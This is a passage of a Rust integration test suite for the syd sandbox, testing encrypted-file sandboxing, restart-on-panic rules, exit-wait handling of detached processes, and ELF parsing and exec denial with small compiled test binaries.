dd if=/dev/random bs=$num count=7 status=none | tee -a ./test.plain >> ./test.crypt
done < primes.lst
set -x
cmp test.plain test.crypt
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_sieve_append_cmp_huge_copy_mul() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("awk", "bash", "dd", "python3", "split", "tee", "wc");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let syd_cpu = &SYD_CPU.to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["bash", "-cex"])
.arg(format!(
r##"
cat >primegen.py <<'EOF'
def primegen(limit):
from math import sqrt
primes = [2]
for num in range(3, limit, 2):
is_prime = True
square_root = int(sqrt(num))
for prime in primes:
if num % prime == 0:
is_prime = False
break
if prime > square_root:
break
if is_prime:
yield num
for num in primegen(4 * 128):
print(num)
EOF
python3 primegen.py > primes.lst
split -l $(( $(wc -l primes.lst | awk '{{print $1}}') / $({syd_cpu}) + 1 )) primes.lst prime-split-
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
for f in prime-split-*; do
while read -r -d$'\n' num; do
dd if=/dev/random bs=$num count=7 status=none | tee -a ./test.plain >> ./test.crypt
done < "$f"
done
set -x
cmp test.plain test.crypt
"##,
))
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_prime_append_cmp_huge_copy_seq() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("dd", "sh", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["sh", "-cex"])
.arg(
r##"
dd if=/dev/random bs=7999993 count=5 status=none | tee ./test.plain > ./test.crypt
dd if=/dev/random bs=16000057 count=3 status=none | tee -a ./test.plain >> ./test.crypt
cmp test.plain test.crypt
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_prime_append_cmp_huge_copy_mul() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("dd", "sh", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["sh", "-cex"])
.arg(
r##"
dd if=/dev/random bs=7999993 count=5 status=none | tee ./test.plain > ./test.crypt
dd if=/dev/random bs=16000057 count=1 status=none | tee -a ./test.plain >> ./test.crypt
dd if=/dev/random bs=16000057 count=1 status=none | tee -a ./test.plain >> ./test.crypt
dd if=/dev/random bs=16000057 count=1 status=none | tee -a ./test.plain >> ./test.crypt
cmp test.plain test.crypt
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_prime_append_aes_mild_copy() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("dd", "sh", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["sh", "-cex"])
.arg(
r##"
dd if=/dev/random bs=1048573 count=5 status=none | tee ./test.plain > ./test.crypt
dd if=/dev/random bs=2097169 count=3 status=none | tee -a ./test.plain >> ./test.crypt
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
let syd_aes = &SYD_AES.to_string();
let syd_hex = &SYD_HEX.to_string();
let status = Command::new("sh")
.arg("-cex")
.arg(format!(
r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_sieve_append_aes_mild_copy_seq() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("bash", "dd", "python3", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["bash", "-cex"])
.arg(
r##"
cat >primegen.py <<'EOF'
def primegen(limit):
from math import sqrt
primes = [2]
for num in range(3, limit, 2):
is_prime = True
square_root = int(sqrt(num))
for prime in primes:
if num % prime == 0:
is_prime = False
break
if prime > square_root:
break
if is_prime:
yield num
for num in primegen(2 * 128):
print(num)
EOF
python3 primegen.py > primes.lst
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
while read -r -d$'\n' num; do
dd if=/dev/random bs=$num count=7 status=none | tee -a ./test.plain >> ./test.crypt
done < primes.lst
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
let syd_aes = &SYD_AES.to_string();
let syd_hex = &SYD_HEX.to_string();
let status = Command::new("bash")
.arg("-cex")
.arg(format!(
r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_sieve_append_aes_mild_copy_mul() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("awk", "bash", "dd", "python3", "split", "tee", "wc");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let syd_cpu = &SYD_CPU.to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["bash", "-cex"])
.arg(format!(
r##"
cat >primegen.py <<'EOF'
def primegen(limit):
from math import sqrt
primes = [2]
for num in range(3, limit, 2):
is_prime = True
square_root = int(sqrt(num))
for prime in primes:
if num % prime == 0:
is_prime = False
break
if prime > square_root:
break
if is_prime:
yield num
for num in primegen(2 * 128):
print(num)
EOF
python3 primegen.py > primes.lst
split -l $(( $(wc -l primes.lst | awk '{{print $1}}') / $({syd_cpu}) + 1 )) primes.lst prime-split-
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
for f in prime-split-*; do
while read -r -d$'\n' num; do
dd if=/dev/random bs=$num count=7 status=none | tee -a ./test.plain >> ./test.crypt
done < "$f"
done
set -x
"##,
))
.status()
.expect("execute syd");
assert_status_ok!(status);
let syd_aes = &SYD_AES.to_string();
let syd_hex = &SYD_HEX.to_string();
let status = Command::new("bash")
.arg("-cex")
.arg(format!(
r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_sieve_append_aes_huge_copy_seq() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("bash", "dd", "python3", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["bash", "-cex"])
.arg(
r##"
cat >primegen.py <<'EOF'
def primegen(limit):
from math import sqrt
primes = [2]
for num in range(3, limit, 2):
is_prime = True
square_root = int(sqrt(num))
for prime in primes:
if num % prime == 0:
is_prime = False
break
if prime > square_root:
break
if is_prime:
yield num
for num in primegen(4 * 128):
print(num)
EOF
python3 primegen.py > primes.lst
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
while read -r -d$'\n' num; do
dd if=/dev/random bs=$num count=7 status=none | tee -a ./test.plain >> ./test.crypt
done < primes.lst
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
let syd_aes = &SYD_AES.to_string();
let syd_hex = &SYD_HEX.to_string();
let status = Command::new("bash")
.arg("-cex")
.arg(format!(
r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_sieve_append_aes_huge_copy_mul() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("awk", "bash", "dd", "python3", "split", "tee", "wc");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let syd_cpu = &SYD_CPU.to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["bash", "-cex"])
.arg(format!(
r##"
cat >primegen.py <<'EOF'
def primegen(limit):
from math import sqrt
primes = [2]
for num in range(3, limit, 2):
is_prime = True
square_root = int(sqrt(num))
for prime in primes:
if num % prime == 0:
is_prime = False
break
if prime > square_root:
break
if is_prime:
yield num
for num in primegen(4 * 128):
print(num)
EOF
python3 primegen.py > primes.lst
split -l $(( $(wc -l primes.lst | awk '{{print $1}}') / $({syd_cpu}) + 1 )) primes.lst prime-split-
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
for f in prime-split-*; do
while read -r -d$'\n' num; do
dd if=/dev/random bs=$num count=7 status=none | tee -a ./test.plain >> ./test.crypt
done < "$f"
done
set -x
cmp test.plain test.crypt
"##,
))
.status()
.expect("execute syd");
assert_status_ok!(status);
let syd_aes = &SYD_AES.to_string();
let syd_hex = &SYD_HEX.to_string();
let status = Command::new("bash")
.arg("-cex")
.arg(format!(
r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_prime_append_aes_huge_copy_seq() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("dd", "sh", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["sh", "-cex"])
.arg(
r##"
dd if=/dev/random bs=7999993 count=5 status=none | tee ./test.plain > ./test.crypt
dd if=/dev/random bs=16000057 count=3 status=none | tee -a ./test.plain >> ./test.crypt
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
let syd_aes = &SYD_AES.to_string();
let syd_hex = &SYD_HEX.to_string();
let status = Command::new("sh")
.arg("-cex")
.arg(format!(
r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_prime_append_aes_huge_copy_mul() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("dd", "sh", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["sh", "-cex"])
.arg(
r##"
dd if=/dev/random bs=7999993 count=5 status=none | tee ./test.plain > ./test.crypt
dd if=/dev/random bs=16000057 count=1 status=none | tee -a ./test.plain >> ./test.crypt
dd if=/dev/random bs=16000057 count=1 status=none | tee -a ./test.plain >> ./test.crypt
dd if=/dev/random bs=16000057 count=1 status=none | tee -a ./test.plain >> ./test.crypt
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
let syd_aes = &SYD_AES.to_string();
let syd_hex = &SYD_HEX.to_string();
let status = Command::new("sh")
.arg("-cex")
.arg(format!(
r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_restart_on_panic_read() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/all:on")
.m("allow/all+/***")
.m("panic/read+/dev/null")
.do_("open", ["/dev/null"])
.status()
.expect("execute syd");
assert_status_access_denied!(status);
Ok(())
}
fn test_syd_restart_on_panic_exec() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/all:on")
.m("allow/all+/***")
.m("panic/exec+/dev/null")
.arg("/dev/null")
.status()
.expect("execute syd");
assert_status_access_denied!(status);
Ok(())
}
fn test_syd_restart_on_panic_chdir() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/all:on")
.m("allow/all+/***")
.m("panic/chdir+/dev")
.do_("chdir", ["/dev"])
.status()
.expect("execute syd");
assert_status_access_denied!(status);
Ok(())
}
fn test_syd_exit_wait_default() -> TestResult {
skip_unless_available!("bash");
let status = syd()
.p("off")
.argv(["bash", "-xc"])
.arg(
r##"
: > test
chmod 600 test
cat > exec.sh <<'EOF'
#!/bin/bash -x
sleep 5
echo INSIDE > test
exit 42
EOF
chmod +x exec.sh
./exec.sh &
disown
true
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
// Ensure the path exists.
let path = Path::new("./test");
assert!(path.exists());
// Ensure the file is empty.
let data = metadata(path).expect("Unable to access test file metadata");
assert_eq!(data.len(), 0, "Unexpected file metadata: {data:?}");
Ok(())
}
fn test_syd_exit_wait_default_unsafe_ptrace() -> TestResult {
skip_unless_trusted!();
skip_if_strace!();
skip_unless_available!("bash");
let status = syd()
.p("off")
.m("trace/allow_unsafe_ptrace:1")
.argv(["bash", "-xc"])
.arg(
r##"
: > test
chmod 600 test
cat > exec.sh <<'EOF'
#!/bin/bash -x
sleep 5
echo INSIDE > test
exit 42
EOF
chmod +x exec.sh
./exec.sh &
disown
true
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
// Ensure the path exists.
let path = Path::new("./test");
assert!(path.exists());
// Ensure the file is empty.
let data = metadata(path).expect("Unable to access test file metadata");
assert_eq!(data.len(), 0, "Unexpected file metadata: {data:?}");
Ok(())
}
fn test_syd_exit_wait_pid() -> TestResult {
skip_unless_available!("bash");
let status = syd()
.p("off")
.m("trace/exit_wait_all:0")
.argv(["bash", "-xc"])
.arg(
r##"
: > test
chmod 600 test
cat > exec.sh <<'EOF'
#!/bin/bash -x
sleep 5
echo INSIDE > test
exit 42
EOF
chmod +x exec.sh
./exec.sh &
disown
true
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
// Ensure the path exists.
let path = Path::new("./test");
assert!(path.exists());
// Ensure the file is empty.
let data = metadata(path).expect("Unable to access test file metadata");
assert_eq!(data.len(), 0, "Unexpected file metadata: {data:?}");
Ok(())
}
fn test_syd_exit_wait_pid_unsafe_ptrace() -> TestResult {
skip_unless_trusted!();
skip_if_strace!();
skip_unless_available!("bash");
let status = syd()
.p("off")
.m("trace/exit_wait_all:0")
.m("trace/allow_unsafe_ptrace:1")
.argv(["bash", "-xc"])
.arg(
r##"
: > test
chmod 600 test
cat > exec.sh <<'EOF'
#!/bin/bash -x
sleep 5
echo INSIDE > test
exit 42
EOF
chmod +x exec.sh
./exec.sh &
disown
true
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
// Ensure the path exists.
let path = Path::new("./test");
assert!(path.exists());
// Ensure the file is empty.
let data = metadata(path).expect("Unable to access test file metadata");
assert_eq!(data.len(), 0, "Unexpected file metadata: {data:?}");
Ok(())
}
fn test_syd_exit_wait_pid_with_runaway_cmd_exec_process() -> TestResult {
skip_unless_available!("bash");
let status = syd()
.p("off")
.m("lock:exec")
.m("trace/exit_wait_all:0")
.argv(["bash", "-xc"])
.arg(format!(
"
: > test
chmod 600 test
cat > exec.sh <<EOF
#!/bin/bash -x
sleep \\$1
echo \\$2 > $PWD/test
exit 42
EOF
chmod +x exec.sh
./exec.sh 5 INSIDE &
# Careful here, cmd/exec changes CWD to /.
test -c \"$({} $PWD/exec.sh 10 OUT)\"
disown
true
",
*SYD_EXEC
))
.status()
.expect("execute syd");
assert_status_ok!(status);
// Ensure the path exists.
let path = Path::new("./test");
assert!(path.exists());
// Wait for the runaway process to change the file.
eprintln!("Waiting for 20 seconds for the runaway process to write to the file...");
sleep(Duration::from_secs(20));
// Ensure the file is of correct size.
let data = metadata(path).expect("Unable to access test file metadata");
assert_eq!(data.len(), 4, "Unexpected file metadata: {data:?}");
Ok(())
}
fn test_syd_exit_wait_pid_unsafe_ptrace_with_runaway_cmd_exec_process() -> TestResult {
skip_unless_trusted!();
skip_if_strace!();
skip_unless_available!("bash");
let status = syd()
.p("off")
.m("lock:exec")
.m("trace/exit_wait_all:0")
.m("trace/allow_unsafe_ptrace:1")
.argv(["bash", "-xc"])
.arg(format!(
"
: > test
chmod 600 test
cat > exec.sh <<EOF
#!/bin/bash -x
sleep \\$1
echo \\$2 > $PWD/test
exit 42
EOF
chmod +x exec.sh
./exec.sh 5 INSIDE &
# Careful here, cmd/exec changes CWD to /.
test -c \"$({} $PWD/exec.sh 10 OUT)\"
disown
true
",
*SYD_EXEC
))
.status()
.expect("execute syd");
assert_status_ok!(status);
// Ensure the path exists.
let path = Path::new("./test");
assert!(path.exists());
// Wait for the runaway process to change the file.
eprintln!("Waiting for 20 seconds for the runaway process to write to the file...");
sleep(Duration::from_secs(20));
// Ensure the file is of correct size.
let data = metadata(path).expect("Unable to access test file metadata");
assert_eq!(data.len(), 4, "Unexpected file metadata: {data:?}");
Ok(())
}
fn test_syd_exit_wait_all() -> TestResult {
skip_unless_available!("bash");
let status = syd()
.p("off")
.m("trace/exit_wait_all:1")
.argv(["bash", "-xc"])
.arg(
r##"
: > test
chmod 600 test
cat > exec.sh <<'EOF'
#!/bin/bash -x
sleep 5
echo INSIDE > test
exit 42
EOF
chmod +x exec.sh
./exec.sh &
disown
true
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
// Ensure the path exists.
let path = Path::new("./test");
assert!(path.exists());
// Ensure the file is of correct size.
let data = metadata(path).expect("Unable to access test file metadata");
assert_eq!(data.len(), 7, "Unexpected file metadata: {data:?}");
Ok(())
}
fn test_syd_exit_wait_all_unsafe_ptrace() -> TestResult {
skip_unless_trusted!();
skip_if_strace!();
skip_unless_available!("bash");
let status = syd()
.p("off")
.m("trace/exit_wait_all:1")
.m("trace/allow_unsafe_ptrace:1")
.argv(["bash", "-xc"])
.arg(
r##"
: > test
chmod 600 test
cat > exec.sh <<'EOF'
#!/bin/bash -x
sleep 5
echo INSIDE > test
exit 42
EOF
chmod +x exec.sh
./exec.sh &
disown
true
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
// Ensure the path exists.
let path = Path::new("./test");
assert!(path.exists());
// Ensure the file is of correct size.
let data = metadata(path).expect("Unable to access test file metadata");
assert_eq!(data.len(), 7, "Unexpected file metadata: {data:?}");
Ok(())
}
fn test_syd_exit_wait_all_with_runaway_cmd_exec_process() -> TestResult {
skip_unless_available!("bash");
let status = syd()
.p("off")
.m("lock:exec")
.m("trace/exit_wait_all:1")
.argv(["bash", "-xc"])
.arg(format!(
"
: > test
chmod 600 test
cat > exec.sh <<EOF
#!/bin/bash -x
sleep \\$1
echo \\$2 > $PWD/test
exit 42
EOF
chmod +x exec.sh
./exec.sh 5 INSIDE &
# Careful here, cmd/exec changes CWD to /.
test -c \"$({} $PWD/exec.sh 10 OUT)\"
disown
true
",
*SYD_EXEC
))
.status()
.expect("execute syd");
assert_status_ok!(status);
// Ensure the path exists.
let path = Path::new("./test");
assert!(path.exists());
// Wait for the runaway process to change the file.
eprintln!("Waiting for 20 seconds for the runaway process to write to the file...");
sleep(Duration::from_secs(20));
// Ensure the file is of correct size.
let data = metadata(path).expect("Unable to access test file metadata");
assert_eq!(data.len(), 4, "Unexpected file metadata: {data:?}");
Ok(())
}
fn test_syd_exit_wait_all_unsafe_ptrace_with_runaway_cmd_exec_process() -> TestResult {
skip_unless_trusted!();
skip_if_strace!();
skip_unless_available!("bash");
let status = syd()
.p("off")
.m("lock:exec")
.m("trace/exit_wait_all:1")
.m("trace/allow_unsafe_ptrace:1")
.argv(["bash", "-xc"])
.arg(format!(
"
: > test
chmod 600 test
cat > exec.sh <<EOF
#!/bin/bash -x
sleep \\$1
echo \\$2 > $PWD/test
exit 42
EOF
chmod +x exec.sh
./exec.sh 5 INSIDE &
# Careful here, cmd/exec changes CWD to /.
test -c \"$({} $PWD/exec.sh 10 OUT)\"
disown
true
",
*SYD_EXEC
))
.status()
.expect("execute syd");
assert_status_ok!(status);
// Ensure the path exists.
let path = Path::new("./test");
assert!(path.exists());
// Wait for the runaway process to change the file.
eprintln!("Waiting for 20 seconds for the runaway process to write to the file...");
sleep(Duration::from_secs(20));
// Ensure the file is of correct size.
let data = metadata(path).expect("Unable to access test file metadata");
assert_eq!(data.len(), 4, "Unexpected file metadata: {data:?}");
Ok(())
}
fn test_syd_cli_args_override_user_profile() -> TestResult {
skip_unless_available!("sh");
let _ = unlink(".user.syd-3");
let mut file = File::create(".user.syd-3").expect("Failed to create .user.syd-3");
file.write_all(b"mem/max:4242\npid/max:2525\n")
.expect("Failed to write to .user.syd-3");
#[expect(clippy::zombie_processes)]
let mut child = syd()
.m("pid/max:4242")
.m("stat")
.c("true")
.stderr(Stdio::piped())
.spawn()
.expect("execute syd");
// Read the output from the child process
let child_stderr = child.stderr.as_mut().expect("child stderr");
let mut reader = BufReader::new(child_stderr);
let mut output = String::new();
if let Err(error) = reader.read_to_string(&mut output) {
return Err(TestError(format!(
"Failed to read output of child process: {error}"
)));
}
// Wait for the process to exit.
child.wait().expect("wait for syd");
print!("Child output:\n{output}");
assert!(output.contains("Pid Max: 4242"));
//This may fail if the site-wide config file has lock:on.
//assert!(output.contains("Memory Max: 4242"));
Ok(())
}
fn test_syd_ifconfig_loopback_bare() -> TestResult {
let status = syd()
.p("off")
.do_("ifconfig_lo", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_ifconfig_loopback_wrap() -> TestResult {
skip_unless_unshare!("user", "net");
let status = syd()
.p("off")
.m("unshare/user,net:1")
.do_("ifconfig_lo", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_parse_elf_native() -> TestResult {
skip_if_32bin_64host!();
skip_unless_available!("cc", "sh", "getconf");
let syd_elf = &SYD_ELF.to_string();
let status = syd()
.p("off")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.args(["sh", "-cx"])
.arg(format!(
r##"
#!/bin/sh
set -ex
bit=$(getconf LONG_BIT)
cat > hello.c <<EOF
int main() {{
return 0;
}}
EOF
# Step 1: Compile dynamic PIE executable.
cc -o hello-pie -fPIE -pie hello.c || exit 128
# Step 2: Compile dynamic PIE executable with executable stack.
cc -o hello-pie-xs -fPIE -pie -zexecstack hello.c || exit 128
# Step 3: Compile static non-PIE executable.
cc -o hello-static -static -no-pie hello.c || exit 128
# Step 4: Compile static non-PIE executable with executable stack.
cc -o hello-static-xs -static -no-pie -zexecstack hello.c || exit 128
# Step 5: Compile dynamic executable without PIE.
cc -o hello-dynamic -no-pie hello.c || exit 128
# Step 6: Compile dynamic executable without PIE and with executable stack.
cc -o hello-dynamic-xs -no-pie -zexecstack hello.c || exit 128
# Step 7: Compile static PIE executable.
cc -o hello-static-pie -static-pie hello.c || exit 128
# Step 8: Compile static PIE executable with executable stack.
cc -o hello-static-pie-xs -static-pie -zexecstack hello.c || exit 128
# Verify ELF file types.
for file in hello-*; do
OUT=$({syd_elf} "$file")
echo "$file: $OUT"
case "$file" in
hello-pie)
EXP="exe${{bit}}-dynamic-pie"
;;
hello-pie-xs)
EXP="exe${{bit}}-dynamic-pie-xs"
;;
hello-static)
EXP="exe${{bit}}-static"
;;
hello-static-xs)
EXP="exe${{bit}}-static-xs"
;;
hello-dynamic)
EXP="exe${{bit}}-dynamic"
;;
hello-dynamic-xs)
EXP="exe${{bit}}-dynamic-xs"
;;
hello-static-pie)
EXP="exe${{bit}}-static-pie"
;;
hello-static-pie-xs)
EXP="exe${{bit}}-static-pie-xs"
;;
esac
echo "$OUT" | grep -q "$EXP" || {{ echo "Unexpected output for $file: $OUT (expected $EXP)"; exit 1; }}
done
echo "All ELF file checks passed."
"##))
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
assert!(code == 0 || code == 128, "code:{code} status:{status:?}");
if code == 128 {
// Compilation failed, test skipped.
env::set_var("SYD_TEST_SOFT_FAIL", "1");
}
Ok(())
}
fn test_syd_parse_elf_32bit() -> TestResult {
skip_if_32bin_64host!();
skip_unless_bitness!("64");
skip_unless_available!("cc", "sh", "getconf");
let syd_elf = &SYD_ELF.to_string();
let status = syd()
.p("off")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.args(["sh", "-cx"])
.arg(format!(
r##"
#!/bin/sh
set -ex
bit=32
cat > hello.c <<EOF
int main() {{
return 0;
}}
EOF
# Step 1: Compile dynamic PIE executable.
cc -g -ggdb -m32 -o hello-pie -fPIE -pie hello.c || exit 128
# Step 2: Compile dynamic PIE executable with executable stack.
cc -g -ggdb -m32 -o hello-pie-xs -fPIE -pie -zexecstack hello.c || exit 128
# Step 3: Compile static non-PIE executable.
cc -g -ggdb -m32 -o hello-static -static hello.c || exit 128
# Step 4: Compile static non-PIE executable with executable stack.
cc -g -ggdb -m32 -o hello-static-xs -static -zexecstack hello.c || exit 128
# Step 5: Compile dynamic executable without PIE.
cc -g -ggdb -m32 -o hello-dynamic -no-pie hello.c || exit 128
# Step 6: Compile dynamic executable without PIE and with executable stack.
cc -g -ggdb -m32 -o hello-dynamic-xs -no-pie -zexecstack hello.c || exit 128
# Step 7: Compile static PIE executable.
cc -g -ggdb -m32 -o hello-static-pie -static-pie hello.c || exit 128
# Step 8: Compile static PIE executable with executable stack.
cc -g -ggdb -m32 -o hello-static-pie-xs -static-pie -zexecstack hello.c || exit 128
# Verify ELF file types.
for file in hello-*; do
OUT=$({syd_elf} "$file")
echo "$file: $OUT"
case "$file" in
hello-pie)
EXP="exe${{bit}}-dynamic-pie"
;;
hello-pie-xs)
EXP="exe${{bit}}-dynamic-pie-xs"
;;
hello-static)
EXP="exe${{bit}}-static"
;;
hello-static-xs)
EXP="exe${{bit}}-static-xs"
;;
hello-dynamic)
EXP="exe${{bit}}-dynamic"
;;
hello-dynamic-xs)
EXP="exe${{bit}}-dynamic-xs"
;;
hello-static-pie)
EXP="exe${{bit}}-static-pie"
;;
hello-static-pie-xs)
EXP="exe${{bit}}-static-pie-xs"
;;
esac
echo "$OUT" | grep -q "$EXP" || {{ echo "Unexpected output for $file: $OUT (expected $EXP)"; exit 1; }}
done
echo "All ELF file checks passed."
"##))
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
assert!(code == 0 || code == 128, "code:{code} status:{status:?}");
if code == 128 {
// Compilation failed, test skipped.
env::set_var("SYD_TEST_SOFT_FAIL", "1");
}
Ok(())
}
fn test_syd_parse_elf_path() -> TestResult {
skip_unless_available!("sh");
let syd_elf = &SYD_ELF.to_string();
let status = Command::new("sh")
.arg("-c")
.arg(format!(
r##"
IFS=:
set -- $PATH
r=0
for path; do
for file in "$path"/*; do
if ! {syd_elf} "$file"; then
test $? -gt 1 && r=1
echo >&2 "error parsing file: $file"
fi
done
done
exit $r
"##
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_deny_exec_elf32() -> TestResult {
skip_if_strace!();
skip_if_32bin_64host!();
skip_unless_bitness!("64");
skip_unless_available!("cc", "sh");
let status = syd()
.p("off")
.m("lock:exec")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.argv(["sh", "-cx"])
.arg(
r##"
cat > exit.c <<EOF
#include <stdlib.h>
int main() {
exit(0);
}
EOF
cc -g -ggdb -m32 exit.c -o exit
test $? -eq 0 || exit 128
chmod +x ./exit || exit 128
./exit || exit 1
test -c /dev/syd/trace/deny_exec_elf32:1 || exit 2
./exit && exit 3
test -c /dev/syd/trace/deny_exec_elf32:0 || exit 2
./exit || exit 4
true
"##,
)
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
assert!(code == 0 || code == 128, "code:{code} status:{status:?}");
if code == 128 {
// Compilation failed, test skipped.
env::set_var("SYD_TEST_SOFT_FAIL", "1");
}
Ok(())
}
fn test_syd_deny_exec_elf_dynamic() -> TestResult {
skip_if_strace!();
skip_if_32bin_64host!();
skip_unless_available!("cc", "sh");
let status = syd()
.p("off")
.m("lock:exec")
.m("sandbox/exec:on")
.m("allow/exec+/***")
.args(["sh", "-cx"])
.arg(
r##"
cat > exit.c <<EOF
#include <stdlib.h>
int main() {
exit(0);
}
EOF
cc exit.c -o exit
test $? -eq 0 || exit 128
chmod +x ./exit || exit 128
./exit || exit 1
test -c /dev/syd/trace/deny_exec_elf_dynamic:1 || exit 2
./exit && exit 3
